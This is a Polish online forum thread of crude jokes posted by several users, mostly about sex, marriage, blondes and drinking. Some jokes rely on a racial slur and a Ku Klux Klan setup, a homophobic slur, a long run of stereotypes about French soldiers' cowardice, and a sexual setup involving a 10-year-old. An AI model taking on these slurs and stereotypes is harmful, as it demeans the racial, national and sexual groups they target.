Żona ledwie łapiąc oddech powiedziała słodkim szeptem: "To było cudowne, dlaczego przestałeś?"
"Znalazłem pilota" - odpowiedział

Tato!
- Co, Jasiu?
- Chyba powinienem iść do okulisty!
- Dlaczego, synu?
- Bo od dawna nie widziałem kieszonkowego!
Przychodzi baba do lekarza, a lekarz pyta ją:
- Co się stało, dawno pani nie widziałem?
- Aaa, chorowałam.

Wróciła żona z zakupów do domu. Weszła do pokoju i spytała męża:
- Kochanie, czy wiesz jak wygląda pomięte 100 złotych?
Mąż zaprzeczył głową, ona wyjęła z portfela banknot 100-złotowy, pomięła go i pokazała mężowi. Za chwilę znów pyta:
- Kochanie, a czy wiesz jak wygląda pomięte 200 złotych?
Sytuacja się powtórzyła - mąż zaprzeczył, ona wyjęła z portfela banknot 200-złotowy, pomięła go i pokazała mężowi. Po chwili znowu pyta:
- Kochanie, a czy wiesz jak wygląda pomięte 45.000 złotych?
Mąż znowu nie wie. Na to ona:
- To wejdź do garażu i zobacz.


Napis z tyłu samochodu:
Mam zepsuty klakson. Obserwuj środkowy palec u ręki.

Baca słyszy krzyki z podwórka:
- Czego tam?
- Bacoooo! Potrzebujecie drewna?
- Nieeee!
Rano baca budzi się, wychodzi na podwórko, patrzy:
- O kur..! Gdzie moje drewno?!

Wchodzi staruszek do konfesjonału i nawija:
- Mam 92 lata. Mam wspaniałą żonę , która ma 70 lat.
Mam dzieci, wnuki i prawnuki. Wczoraj podwoziłem samochodem trzy
nastolatki. Zatrzymaliśmy się w motelu i uprawiałem seks z wszystkimi trzema...
- Czy żałujesz, synu, tego grzechu?
- Jakiego grzechu?
- Co z Ciebie za katolik?
- Jestem żydem...
- To czemu mi to wszystko opowiadasz?
- Wszystkim opowiadam!

Czarnoskóry mężczyzna staje przed obliczem św. Piotra. Święty sięga do bezkresnej księgi, wertuje, przewraca kartki, czyta uważnie, wreszcie ściąga niebiańskie okulary i pyta:
- Czy uratowałeś kiedyś dziecko, wynosząc je z płonącego domu?
- Nie, Piotrze.
- Czy walczyłeś kiedyś w wojnie za wolność swej ojczyzny?
- Nie, Piotrze.
- Wobec tego nie możesz przestąpić tej bramy, bo nigdy nie dokonałeś czynu heroicznego.
- Ale zara - oburza się czarny - dokonałem. Dymałem białą kobietę na oczach setki białasów z Ku Klux Klanu!
Święty Piotr nachyla się do swej księgi, raz jeszcze ją wertując...
- Kiedy to było, synu?
- Jakieś 2 minuty temu.

http://www.funner.pl/link...n_Madagaskar_2/

1. Jedna ludzka komórka zawiera 75 MB informacji genetycznych
2. Dlatego jeden plemnik 37,5 MB
3. W jednym ml spermy jest 100 milionów plemników
4. Przy ejakulacji trwającej średnio 5 sekund uwolni się 2,25 ml spermy
5. Z wyliczeń otrzymamy, że przepustowość danych męskiego penisa wynosi
(37,5 MB x 100 MB x 2,25)/5 = 1687,5 Terabajtów na sekundę

6. W wyniku tego wiemy, że żeńskie jajeczko jest zdolne wytrzymywać ataki
DDoS o objętości więcej niż 1,5 Pentabajtów na sekundę a przy tym przepuści
tylko jeden pakiet danych. Tym samym jest to najlepszy hardware'owy firewall
na świecie!

7. Jedna wada... Ten jeden jedyny pakiet, który system przepuści, zawiesi
cały system na 9 miesięcy.

Dany - 14-03-2009, 15:28

Stary rekin uczy synka jedzenia:

-Widzisz nurka w wodzie to podpływasz, wystawiasz płetwę grzbietową, okrążasz
go raz. Potem okrążasz go drugi raz, potem trzeci. Na koniec okrążasz go
czwarty raz i możesz go zjeść.

-Tato! A nie można od razu?

-Skoro wolisz z gównem......

[ Dodano: 16-03-2009, 20:00 ]
Niedźwiedź szedł przez las w nocy, nie zauważył dziury i wpadł do niej
wybijając sobie wszystkie zęby.
Zwierzątka wybrały się go szukać.
Zając
chodził z latarką po lesie i natknął się na tę dziurę.
Świeci na dół i słyszy, że coś się w dziurze porusza.
- Kto tam jest?? - pyta zając
- nieśfieć

[ Dodano: 16-03-2009, 20:01 ]
Od czasu, jak spróbowałam nowego "Dove", moja skóra odmłodniała, stała
się delikatna, przyjemna w dotyku - taka aksamitna wręcz. Zmarszczki się
zmniejszyły a rysy wygładziły. Poczułam się młodsza i piękniejsza.
Przybyło mi nowych sił.
Aż sama się zdziwiłam!

Chociaż w smaku - mydło jak mydło...

[ Dodano: 16-03-2009, 20:02 ]
- Mój mąż powiedział wczoraj, że jestem strasznie brzydka.
- Tak powiedział?
- No nie dosłownie. Jak przyniosłam mu rano śniadanie do łóżka, spojrzał
na mnie i powiedział, że przy mnie czuje się przynajmniej jak prezydent.

[ Dodano: 16-03-2009, 20:03 ]
Idą dwie blondynki do sklepu. Nagle jedna mówi do drugiej:
-Tyy! patrz jaki fajny zamszowy ziemniak.
a druga na to:
-Ty idiotko! to nie ziemniak! To kiwi. Z tego sie robi pastę bo butów.

[ Dodano: 16-03-2009, 20:03 ]
> Przychodzi do fotografa zebra z pingwinem zrobić sobie zdjęcie.
> fotograf : -Kolorowe, czy czarno-białe?
> pingwin: - A jebnąć ci?!

[ Dodano: 16-03-2009, 20:04 ]
> -Babciu, nie widziała babcia moich tabletek? Były takie małe, oznaczone
> LSD....
> -Pierd...lisz tam tabletki, smoka w kuchni widziałeś?

[ Dodano: 16-03-2009, 20:11 ]
i coś na koniec:

Rodzinny, niedzielny obiad przerwała 10-letnia córka, oświadczając:
- Nie jestem już dziewicą...
Zapada grobowa cisza, którą przerwał ojciec:
- Marta - mówi do żony - ty jesteś temu winna. Ubierasz się tak frywolnie,
że faceci oglądają się za tobą na ulicy i gwiżdżą! Mało tego, zachowujesz
się obscenicznie przy naszej córce.
Do starszej, 20-letniej córki krzyczy:
- Ty też jesteś winna! Pieprzysz się z pierwszym lepszym kolesiem na naszej
sofie gdy tylko wyjdziemy z domu! I to na oczach młodszej siostry! I jeszcze
masz w szafce wibrator!
W tej chwili odzywa się jego żona:
- Zamknij się! A kto wydaje połowę każdej pensji na prostytutki? Kto
spaceruje po dzielnicy czerwonych latarni z naszą córeczką? A odkąd mamy
telewizję kablową, oglądasz pornole nawet przy małej! No i ta twoja
szmatława sekretareczka. Myślisz że nie wiem po co zostajesz po godzinach w
pracy?
Pełna zwątpienia matka zwraca się do córeczki, będącej powodem dyskusji:
- Jak to się stało, skarbie?
- To przez nauczycielkę. Zmieniła mi rolę w jasełkach. Nie jestem już
dziewicą, tylko pastereczką

DeDeK - 19-03-2009, 17:50

a tak mnie cos sie wynalazlo
to chyba tylko golf userzy potrafia ;)


Pisklak - 21-03-2009, 23:09

Warszawa, przystanek autobusowy pod Domami Centrum. Ochraniarz marketowy
Władek wraca do domu, do Kobyłki. Czeka na autobus. Nagle z piskiem opon
zatrzymuje się dżip, opuszcza się szyba i zajebista blondynka pyta Władka:
- Gdzie jedziesz, miły?
- Do Kobyłki.
- Siadaj. Podwiozę cię.
Władysław wsiada. Jadą.
- Słuchaj, muszę tylko zajechać po koleżankę. Minutka. Zajeżdżają pod
apartamentowiec na obrzeżach Starego Miasta. Do wozu wsiada zajebista
brunetka. W ręku ma butlę szampana, w drugim truskawki. Dojeżdżają do
Kobyłki.
- Władku, możemy cię odprowadzić? - pytają dziewczęta.
Po czym udają się do kawalerki Władka i całą noc piją, palą miękkie
narkotyki i uprawiają seks grupowy.
Po dwóch miesiącach blondynka spotyka brunetkę.
- Słuchaj, Klara, mam już dość tych biznesmenów, modeli, piosenkarzy.
Wali mnie to!
- Taa... Magda, mam to samo!
- To może zadzwonimy do Władka z Kobyłki?
- Władka z Kobyłki? Zajebiście! Sądzisz, że nas pamięta?

Dany - 25-03-2009, 14:29

W poradni małżeńskiej.
Lekarz pyta męża:
- Na liście, którą dałem ci do wypełnienia, na pytanie ’’ile razy w tygodniu uprawiasz seks’’ odpowiedziałeś: ’’dwa razy w tygodniu’’, twoja żona natomiast odpowiedziała ’’kilka razy w ciągu nocy’’.
- To prawda - odpowiedział mąż - i tak pozostanie, dopóki nie spłacimy hipotekę

[ Dodano: 26-03-2009, 22:24 ]
Pewnego razu policja przyłapała całą grupę prostytutek podczas dzikiej orgii w hotelowym pokoju. Policjanci wyprowadzili prostytutki z hotelu i ustawili w szeregu na ulicy. Pech chciał, że obok przechodziła babcia jednej z dziewczyn. Gdy zobaczyła swoją wnuczkę, od razu podeszła i zapytała:
- Dlaczego stoisz, kochanie, w tym szeregu?
Dziewczyna, aby ukryć prawdę, wymyśliła na poczekaniu kłamstwo:
- Policja rozdaje pomarańcze za darmo, a ja tu stoję by parę dostać.
Babcia pomyślała na to: "To bardzo miło z ich strony - też postoję, to może jakieś dostanę". Jak pomyślała, tak zrobiła - ustawiła się szybko na końcu szeregu.
Tymczasem policjanci zaczęli spisywać dane prostytutek. Gdy jeden z nich doszedł do babci, strasznie się zirytował i zapytał:
- Łał, pani ciągle to robi w tym podeszłym wieku? Jak pani daje radę?
- Oh, słodziutki, to jest bardzo proste: wyjmuję moje zęby, ściągam skórkę i wylizuję do sucha...

jacekplacek - 27-03-2009, 11:31

Przychodzi facet do lekarza i mówi:
Panie doktorze, wątroba mnie strasznie boli!
A pije pan wódkę? – pyta lekarz.
- Piję, ale nie pomaga


Super optymista –
gość, który na cmentarzu zamiast krzyży widzi same plusy.


Barman zwraca uwagę kelnerowi:
- Kiedy wreszcie przestaniesz wyrzucać pijanych klientów na zewnątrz?
- Przecież nawalonych się wyrzuca z lokalu…
- Ale nie w WARSIE !!!


Kowalscy postanowili pójść do opery. Kiedyś w końcu trzeba... Ubrali się odświętnie – w garnitur i suknię wieczorową. Ustawili się po bilety w kolejce pod kasą. Przed nimi gość zamawia:
- Tristan i Izolda. Dwa poproszę...
Kowalski jest następny:
- Zygmunt i Regina. Dla nas też dwa...


Co to jest opera? To jest takie coś, co się zaczyna o siódmej, a jak po trzech godzinach popatrzysz na zegarek, jest siódma dwadzieścia.


Spotyka się dwóch kumpli w barze. Jeden mówi do drugiego:
- Wiesz, moja żona chyba nie żyje.
- Dlaczego tak sądzisz? - pyta ten drugi.
- Bo seks to jak zwykle, tylko prania ciągle przybywa.


Wiesz, wczoraj na ulicy jakiś palant nazwał mnie pedałem!
- A ty co na to!?
- Jak to, co? Pudrem po oczach i torebką po głowie chama...


Żona mówi do męża:
- Kochanie, Jaś już chodzi.
- To niech idzie po piwo.


Dopiekło facetowi życie, postanowił się powiesić...Zmajstrował stryczek,
przymocował go do żyrandola, wlazł na stołek, wsadził głowę w stryczek,
patrzy, a tu na szafie niedopita flaszka wódki stoi!
- Co się ma wódka zmarnować? - pomyślał sobie. Wysunął głowę ze stryczka,
przystawił stołek do szafy, patrzy, a tam jeszcze całkiem spory niedopałek leży!
O - pomyślał - życie zaczyna się układać!

qdlaty - 27-03-2009, 12:12

Fanta Girls

FANTA = F**k And Never Touch Again ;-)

[ Dodano: 28-03-2009, 22:43 ]
Czym się różni Francuzka od wilkołaka?
- Oboje są tak samo owłosieni, ale wilkołak ładniej pachnie


Na aukcji eBay wystawiono francuską strzelbę z II WŚ,
z opisem "Nie strzelana, raz upuszczona".

Jak się nazywa facet z kamizelką kuloodporną chroniącą tylko plecy?
- Jacques Chirac

Dlaczego francuski myśliwiec bojowy nazywa się Mirage?
-Bo nikt go nigdy nie widział na polu bitwy

Jaka jest różnica między żółtodziobem a Francuzem?
- Z żółtodzioba zrobisz żołnierza

Po co posadzono tyle drzew dookoła Pól Elizejskich?
- Żeby Niemcy mogli maszerować w cieniu

Dlaczego w Euro Disneylandzie nie ma fajerwerków?
- Bo za każdym razem, jak je wystrzeliwano, Francuzi się poddawali

"Z tego co wiem, wojna zawsze oznacza porażkę".
J. Chirac

"Wolę mieć niemiecką dywizję przed sobą, niż francuską
za sobą". G. Patton

Dlaczego Francuzi zaczęli używać czosnku w swojej kuchni?
- Żeby poprawić swój oddech

Dlaczego Francuzi byli przeciwko atakowi na Saddama?
- Nienawidzi Ameryki, uwielbia cudze żony i nosi beret.
On jest Francuzem.

Dlaczego francuska armia nakazuje żołnierzom codzienne
pranie podkoszulek w wybielaczu?
- Żeby ich białe flagi były lepiej widoczne

Dlaczego dobrze być Francuzem?
- Poddajesz się na początku wojny, a USA wygrywają ją za ciebie

Co powiedział mer Paryża do niemieckiego dowódcy po wkroczeniu
wojsk III Rzeszy do miasta?
- Stolik dla stu tysięcy, proszę Pana?

Co po niemiecku znaczy "Maginot"?
- Witajcie!

"Jak nazwać 100.000 Francuzów z podniesionymi rękami? - Armia"

"Francja powiedziała, że potrzebuje więcej dowodów na to, że Saddam
jest groźny. Tak, ostatnim razem kiedy żądali więcej dowodów, to
przetoczyły się one przez Paryż z wciągniętą niemiecką flagą".

Czy wiecie dlaczego francuskie czołgi mają lusterka boczne?
żeby obserwować pole bitwy

a wiesz ilu francuzów potrzeba by obronić Paryż?? niewiesz??
ja też nie wiem...nikt nie wie- bo nigdy nie próbowano

Francuskie czolgi maja 3 biegi do tylu i jeden do przodu.
Wiecie, po co im ten do przodu?
Na wypadek, gdyby wrog zaskoczyl ich od tylu

Dany - 31-03-2009, 13:59

Plaża, morze, piękna pogoda. Na kocyku wspaniała laseczka
posuwistymi, erotycznymi wręcz pociągnięciami smaruje swoje idealnie opalone ciało. W bliskim sąsiedztwie tego "zjawiska", na rozpostartym ręczniku leży z przymkniętymi oczami facet w średnim wieku. Gdyby nie coraz bardziej zwiększające się gabaryty jego slipek, można by uznać, że śpi i kompletnie nie zwraca uwagi na dziewczynę. Tym zachowaniem zmylił panienkę, która zerkając na niego widzi tylko jego opuszczone powieki i już bez żadnych zahamowań wkłada rękę w stringi, kładzie ją na swym "łonie" ipółgłosem mówi:
-Ty mój skarbie największy, ty moja pieszczoszko. Mamusia pamięta, że wszystkoma dzięki tobie. I mieszkanie i samochód i spore oszczędności. Chcesz się wykąpać? Już idziemy do wody.
Wstała i pobiegła w stronę morza.
Facet otwiera oczy, unosi się na łokciu i spoglądając w kierunku swojego przyrodzenia warczy: Słyszysz , ku..a, słyszysz? A ja przez ciebie straciłem willę, dobrze prosperującą firmę i Mercedesa 600. I jeszcze muszę płacić alimenty w trzech różnych miejscach kraju. Chciałbyś się z nią wykąpać, co? -tutaj przekręca się na brzuch - A piasek żryj bydlaku !

hexe - 01-04-2009, 12:11

Książka kucharska dla NIEKTÓRYCH :humor: mężczyzn.
Przepis na ciasto (tylko dla mężczyzn);
Szarlotka
1' Z lodówki weź 10 jajek, połóż na stole ocalałe 7, wytrzyj podłogę,następnym razem uważaj!
2' Weź sporą miskę i wbij jajka rozbijając je o brzeg naczynia.
3' Wytrzyj podłogę, następnym razem bardzie uważaj! W naczyniu mamy 5 żółtek.
4' Weź mikser i wstaw do niego skrzydełka i zacznij ubijać jajka.
5' Wstaw od nowa skrzydełka do miksera, tym razem do oporu. Zacznij ubijać.
6' Umyj twarz, ręce i plecy. W naczyniu pozostały 2 żółtka, dokładnie tyle potrzeba na szarlotkę.
7' Oklej ściany i sufit kuchni gazetami, meble pokryj folią, będziemy dodawać mąkę.
8' Nasyp 20 dkg mąki do szklanki, pozostałe 80 dkg zbierz z powrotem do torebki.
9' Sprawdź czy ściany i sufit są oklejone szczelnie, przystąp do miksowania.
10' Weź szybciutko prysznic!
11' Weź 4 jabłka i ostry nóż.
12' Idź do apteki po jodynę, plaster i bandaże. Po powrocie zacznij obierać jabłka. Przemyj jodyną kciuk!
13' Potnij jabłka w kostkę pamiętając, że potrzebujemy 2 jabłek, więc nie wolno zjeść więcej niż połowę! Przemyj jodyną palec wskazujący i środkowy.
14' Jedyne pozostałe jabłko pocięte w kostkę wrzuć do naczynia z ciastem, pozbieraj z podłogi pozostałe kawałki i przemyj wodą.
15' Wymieszaj wszystkie składniki w naczyniu mikserem, umyj lodówkę bo jak zaschnie to nie domyjesz!
16' Przelej ciasto do foremki, wstaw do piekarnika.
17' Po godzinie, jeśli nie widać żadnych zmian włącz piekarnik.
18' Po przebudzeniu nie dzwoń po straż pożarną! Otwórz okno i piekarnik.

Po tych przeżyciach nie pozostaje nic innego jak pójść do sklepu i kupić coś z większą zawartością alkoholu.......... :beer3:

Andrzej Minorczyk - 02-04-2009, 09:14

Niestety o blondynce...

Blond piękność wybiera się na bal przebierańców, po tygodniu przygotowań i konsultacji z koleżankami o anielskim kolorze włosów nadchodzi tak długo wyczekiwany moment.

Blondynka wchodzi na bal, oczy wszystkich ku jej radości skierowane są na nią. Wygląda jak anioł:
-skóra pomalowana na biało, biały stanik, białe włosy, białe buty na obcasie oraz przepasana jest białą do kolan chustą...

Uczestnicy balu niestety nie mogą skojarzyć, za kogo się przebrała. Kiedy bal juz się rozkręcił a jego uczestnicy na lekkim rauszu stali się odważniejsi wydelegowali najprzystojniejszego przedstawiciela płci brzydkiej o dźwięcznym imieniu Ken, aby wypytał, za kogo Blondyna się przebrała?

Podchodzi, więc Ken i pyta:
-Te, Barbi tak sama stoisz, może zatańczymy?
- Ee, na razie nie - odpowiada trzeźwa jeszcze Blondyna
Stoją tak dłuższą chwilę. Ken przygląda się nachalnie. Widząc to Blondynka pyta:
-Co podoba się moje przebranie?
-No tak- odpowiada Ken i ciągnie dalej:
-Za co tyś się, w ogóle, przebrała???
Na to Blondyna staje prosto, wypina pierś, stawia jedną nogę na krzesło, rozchyla kolana, zadziera białą chustę, którą jest przepasana i patrząc miedzy swoje nogi dumnie mówi:
ZA DZIURE W ZĘBIE!!

styx - 02-04-2009, 15:29

http://skanujryja.eu - bez komentarza...
breath - 02-04-2009, 17:51

Po pracowitej nocy zmęczona Komarzyca wracała do domu. Marzyła tylko o jednym: Przysiąść w spokoju i przetrawić krwistą kolację, za którą musiała się tyle nalatać.
Pracowity Kornik rył kolejne tunele i drążył przez cały dzień.
Zleceń napływało mnóstwo, nie miał nawet chwili wytchnienia.
Postanowił zrobić sobie przerwę na papierosa i wyszedł na zewnątrz.
I wtedy się spotkali.
Kornik patrzył na ponętne ciało Komarzycy, a ta, obrzucała zaciekawionym spojrzeniem jego muskularne ciało.
- Bzzz bzzz... - szepnęła Komarzyca.
- Bezy bezy -odparł Kornik.
To była miłość od pierwszego bzyknięcia.
Kochali się jak szaleni, nie przejmując się niczym.
Plotka z szybkością błyskawicy rozeszła się po łące. I wtedy zaczęły się trudności. Świat stanął im naprzeciw. Postanowili zalegalizować związek. Rodziny odwróciły się od nich, a znajomi nie chcieli już ich znać.Zostali wyklęci, odrzuceni od reszty społeczeństwa.Niedługo pózniej urodziło się dziecko...
Potwór zrodzony z krwiopijcy Komarzycy i niestrudzonego drążyciela Kornika.
Poczwara, przed którą wszyscy będą uciekać.
- Dziecko, które tylko rodzice będą kochać...
Z kołyski swymi złośliwymi oczkami spoglądał na rodziców...
Tak narodził się ..... KOMORNIK!


Noc. Rodzice Mateuszka leżą w łóżku:
- No, chodź...
- Przestań, Mateuszek jeszcze na pewno nie śpi!
- No, chodź, śpi na pewno! Godzinę temu go kładliśmy...
- Daj spokój! Nie śpi!
- To sprawdzimy. Mateuszku! Przynieś wody!
...cisza...
Wzięli się do roboty. Zbliżają się do kulminacji - nagle słychać głos tuż obok ich łóżka:
- No długo jeszcze mam tu z tą wodą stać!?


Rozmawia dwóch staruszków o grze w golfa:
- Ja - mówi jeden - lubię grać, ale mam problem... Bo jak uderzę, to nie widzę, gdzie piłka leci.
- No, to - mówi drugi - zabieraj ze sobą na pole Henia... Henio ma 85 lat, ale wzrok taki, że ho ho.
Zabrał, zatem, Henia następnym razem i mówi:
- Uważaj, będę uderzał. Patrz, gdzie leci!
Wziął zamach i uderzył... Piłka poooooszła.
- No i co? Widziałeś, gdzie poleciała?
- Widziałem - odpowiada Henio
- No, to gdzie?!?
- Nie pamiętam.
---------------------------------------------------------------------------------------------------

Po dwudziestu latach małżeństwa para leży w łóżku i nagle żona czuje, że mąż
zaczyna ją pieścić, co już się bardzo dawno nie zdarzało. Prawie jak
łaskotki jego palce zaczęły od jej szyi, biegły w dół delikatnie wzdłuż
kręgosłupa do bioder. Potem pieścił jej ramiona i szyję, dotykał jej piersi,
by zatrzymać się powyżej podbrzusza. Potem kontynuował, umieszczając swą
dłoń po wewnętrznej stronie jej lewego ramienia. znów pieścił lewą stronę
jej biustu i obsuwał dłoń wzdłuż jej pośladków, uda i nogę, aż po kostkę.
Kontynuował po wewnętrznej stronie lewej nogi unosząc pieszczoty aż do
najwyższego punktu uda. W ten sam sposób delikatnymi ruchami dłoni pieścił
jej prawą stronę i gdy żona czuła się już rozpalona do ostatnich granic...
Nagle przestał. Przekręcił się na plecy i zaczął oglądać telewizję. Żona
ledwie łapiąc oddech powiedziała słodkim szeptem:
" To było cudowne, dlaczego przestałeś?"
"Znalazłem pilota" - odpowiedział...
-------------------------------------------------------------------------------------------------

Byłem szczęśliwy. Byłem tak szczęśliwy jak tylko mógłbym to sobie wyobrazić. Z moją dziewczyną spotykałem się ponad rok i w końcu zdecydowaliśmy się wziąć ślub.
Moi rodzice byli naprawdę zachwyceni i pomagali nam we wszystkich przygotowaniach do
naszego wspólnego życia, przyjaciele cieszyli się razem ze mną a moja dziewczyna... była jak spełnienie moich najśmielszych marzeń.
Tylko jedna rzecz nie dawała mi spokoju - dręczyła i spędzała sen z powiek... jej młodsza siostra. Moja przyszła szwagierka miała dwadzieścia lat, ubierała wyzywające obcisłe mini i króciutkie bluzeczki, eksponujące krągłości jej młodego, pięknego ciała. Często kiedy
siedziałem na fotelu w salonie, niby przypadkiem schylała się po coś tak, że nawet nie przyglądając się, miałem przyjemny widok na jej majteczki. To nie mógł być przypadek, nie zachowywała się tak nigdy kiedy w pobliżu był ktoś jeszcze.
Któregoś dnia siostrzyczka mojej dziewczyny zadzwoniła do mnie i poprosiła abym po drodze
do domu wstąpił do nich rzucić okiem na ślubne zaproszenia. Kiedy przyjechałem była sama w domu. Podeszła do mnie tak blisko, że czułem słodki zapach jej perfum i wyszeptała, że wprawdzie wkrótce będę żonaty, ale ona pragnie mnie tak bardzo... i czuje, że nie potrafi tego uczucia pohamować... i nawet nie chce. Powiedziała, że chce się ze mną kochać, tylko ten jeden raz, zanim wezmę ślub z jej siostrą i przysięgnę jej miłość i wierność póki śmierć nas nie rozłączy.
Byłem w szoku i nie mogłem wykrztusić z siebie nawet jednego słowa. Powiedziała "Idę do góry, do mojej sypialni. Jeśli chcesz, chodź do mnie i weź mnie, nie będę czekać długo." Stałem jak skamieniały i obserwowałem ją, jak wchodziła po schodach kusząco poruszając biodrami. Kiedy była już na górze ściągnęła majteczki i rzuciła je w moją stronę. Stałem tak przez chwilę, po czym odwróciłem się i poszedłem do drzwi frontowych. Otworzyłem drzwi i wyszedłem z domu, prosto,w kierunku zaparkowanego przed domem samochodu. Mój przyszły teść stał przed domem - podszedł do mnie i ze łzami w oczach uściskał mówiąc "Jesteśmy tacy szczęśliwi, że przeszedłeś naszą małą próbę. Nie moglibyśmy marzyć o lepszym mężu dla naszej córeczki. Witaj w rodzinie!"



A morał z tej historii...










ZAWSZE TRZYMAJ PREZERWATYWY W SAMOCHODZIE!
------------------------------------------------------------------------------------------------------------------------

Dwie staruszki wychodzą z kina i spotykają trzecią.
- Na czym byłyście? - pyta trzecia.
- Hm... - zaczyna jedna - zaraz, bo zapomniałam... Pomóżcie mi... Co to
jest, takie czerwone z łodyga i listkami?
- Kwiat.
- Jasne, kwiat. A taki kwiat z kolcami.
- Róża.
- O właśnie! Róża na czym byłyśmy?
------------------------------------------------------------------------------------------------------

Siedziałem z kolegami w pubie i ktoś wyskoczył z tematem, że piwo zawiera żeńskie hormony. Nie mogliśmy dojść do spójnych wniosków, więc postanowiliśmy przeprowadzić eksperyment naukowy? Każdy z nas (z pobudek czysto naukowych!) wypił 10 piw.
I wtedy odkryliśmy przerażającą prawdę:
1 ) przybraliśmy na wadze,
2 ) strasznie dużo mówiliśmy, ale o niczym konkretnym,
3 ) mieliśmy problemy z prowadzeniem samochodu,
4 ) nie potrafiliśmy logicznie myśleć,
5 ) nie udało nam się przyznać do błędu mimo iż było zupełnie jasne, że go popełniliśmy,
6 ) każdy z nas wierzył, że jest pępkiem wszechświata,
7 ) mieliśmy bóle głowy i żadnej ochoty na seks,
8 ) nie umieliśmy zapanować nad emocjami,
9 ) trzymaliśmy się nawzajem za ręce,
10) po każdych 10 minutach musieliśmy iść do WC, i to wszyscy jednocześnie.


Dalsze dowody są zbyteczne!
Piwo zdecydowanie zawiera żeńskie hormony!
-----------------------------------------------------------------------------------------------------------------

Wojsko. Do uszu generała doszło, że żołnierze robią sobie nocne wypady do wsi na dziewczynki. Postanowił sprawdzić to. Nocą poszedł do baraków, a tam faktycznie ani jednego wojaka nie ma. Postanowił czekać.
Po jakimś czasie pojawia się jeden żołnierz, zziajany i widząc generała zaczyna się tłumaczyć:
- Bardzo przepraszam, ale wszystko wyjaśnię. Miałem randkę z dziewczyną i tak jakoś czas zleciał. Pobiegłem na autobus, ale ten mi uciekł. Poszedłem na taxi, ale taxi zepsuło się. Znalazłem farmę, kupiłem konia, ale ten mi padł po drodze. Tak więc biegłem ile sił w nogach no i jestem.
Generał nie wierzył w jego wyjaśnienia, ale że rozumie młodych facetów i ich potrzeby w stosunku do kobiet, pozwolił mu odejść bez żadnej kary.
Po kilku minutach ośmiu innych żołnierzy przybiegło zziajanych. Widząc generała, każdy z nich zaczyna się identycznie tłumaczyć:
- Bardzo przepraszam, ale wszystko wyjaśnię. Miałem randkę z dziewczyną i tak jakoś czas zleciał. Pobiegłem na autobus, ale ten mi uciekł. Poszedłem na taxi, ale taxi zepsuło się. Znalazłem farmę, kupiłem konia, ale ten mi padł po drodze. Tak więc biegłem ile sił w nogach no i jestem.
Generał popatrzył na nich groźnym okiem, ale że dopiero co puścił pierwszego bez kary, to i im pozwolił odejść.
Po chwili przybiega kolejny zziajany żołnierz i widząc generała zaczyna się tłumaczyć:
- Bardzo przepraszam, ale wszystko wyjaśnię. Miałem randkę z dziewczyną i tak jakoś czas zleciał. Pobiegłem na autobus, ale ten mi uciekł. Poszedłem na taxi, ale...
- Zepsuło się, tak?
- Nie. Na drodze leżało tyle koni, że nie sposób było to wszystko objechać!
-----------------------------------------------------------------------------------------------------------------------

Idzie Jasio z ojcem na spacer. Nagle ojciec potyka się i mówi pod nosem:"dupa".
"Co powiedziałeś tatusiu?"pyta Jasio. "Aaaa... powiedziałem.... duduś" odpowiada ojciec. "tatusiu, a co to jest duduś" pyta ciekawski bachor. "Aaa, wiesz synku duduś to takie zwierzątko"
"Tato, a jak on wygląda?"
"A, ma takie rączki i nóżki...."
"Tatusiu, a co jedzą dudusie?"
"Mmm. Jedzą warzywa owoce...."
"A tato, a czy dudusie mają dzieci?"
"Noo, tak"
"To znaczy, że dudusie się rozmnażają?"
"Tak"
"A jak się nazywają dzieci dudusia?"
"Eee... dudusiątka."
"A jak wyglądają dudusiątka?"
"Też mają rączki i nóżki.... tak samo jak dorosłe"
"A co jedzą dudusiątka?"
"Eeee..... mleczko piją..."
"Tato, a gdzie mieszkają dudusie?"
DUPA! POWIEDZIAŁEM DUPA!
--------------------------------------------------------------------------------------------------

Barman opieprza kelnera

- kiedy wreszcie przestaniesz wyrzucać pijanych klientów na zewnątrz ??
- przecież nawalonych się wyrzuca z lokalu nie?
- ale k....wa nie w "WARSIE"!!!
------------------------------------------------------------------------------------

Zebranie partyjne. Wstaje jeden z aktywistów:
- Nazywam się Walczak, walczyłem - walczę i będę walczył!!!
Nagle zrywa się drugi:
- Nazywam się Pieprz....
- Siadajcie towarzyszu, siadajcie!
-------------------------------------------------------------------------

Majster do czeladnika:
- Tu jest zawór. O 20.00 go odkręcasz, a o 6.00 zakręcasz, kapujesz?
- Nie.
- Kuźwa. To zawór. O 20.00 - odkręcasz, a o 6.00 zakręcasz, rozumiesz?
- Nie.
- Żesz w mordę kopany... To jest zawór. O 20.00 go odkręcasz, a o 6.00 zakręcasz, pojmujesz?
- Panie majster, czy pan jesteś debilem?! Trzeci raz mówię, że NIE ROZUMIEM!
-----------------------------------------------------------------------------------------------------

Facet przychodzi do baru z małą małpką na ramieniu i zamawia drinka.
Po chwili małpka zaczyna skakać po całym barze, podkrada oliwki z baru i je zjada, potem bierze pokrojone cytryny i je również pałaszuje. Zaraz potem wskakuje na stół bilardowy, bierze jedną bilę i ku zdumieniu wszystkich - połyka ją.
Barman krzyczy do faceta:
- Widział pan, co zrobiła pańska małpa?!
- Nie, co?
- Właśnie zjadła jedną bilę z mojego stołu bilardowego!
- To mnie nie dziwi. Ona je wszystko w zasięgu jej wzroku. Przepraszam za moją małpkę, zapłacę za wszystko.
Facet kończy drinka, płaci i wychodzi z małpką.

Dwa tygodnie później znów przychodzi do baru z małpką na ramieniu, zamawia drinka a małpa zaczyna znowu hasać po barze. Kiedy facet kończy drinka, małpka znajduje wisienkę na talerzyku. Bierze ją, wsadza sobie w tyłek, wyjmuje, a następnie zjada.
Barman jest wyraźnie zdegustowany:
- Widział pan, co zrobiła tym razem?!
- Nie, co?
- Wzięła wisienkę, wsadziła sobie w tyłek i zjadła!
- To mnie nie dziwi, ona je wszystko w zasięgu wzroku. Ale odkąd połknęła bilę, najpierw wszystko mierzy.
-----------------------------------------------------------------------------------------------------------------------

Spójrzmy na ciąg cyfr: 1, 2, 3, 4, 5, 6, 7. Gdzie ukryła się ósemka?
Na pierwszy rzut oka w podanym ciągu ósemki nie ma. A kiedy przyjrzymy się
uważnie jeszcze raz: 1, 2, 3, 4, 5, 6, 7 cyfry osiem nadal nie dostrzeżemy.
Ciekawostką jest, że sztuczka ta udaje się tylko wtedy, kiedy w ciągu cyfr nie ma ósemki.
--------------------------------------------------------------------------------------------------------------------

Mąż z żoną jedzą obiad w wykwintnej restauracji, kiedy nagle do ich
stolika podchodzi oszałamiająco piękna, młoda dziewczyna, całuje faceta w usta, mówi, że zobaczą się później i wychodzi.
Żona patrzy na męża z wściekłością:
- Kto to był?!
- Moja kochanka - odpowiada mąż.
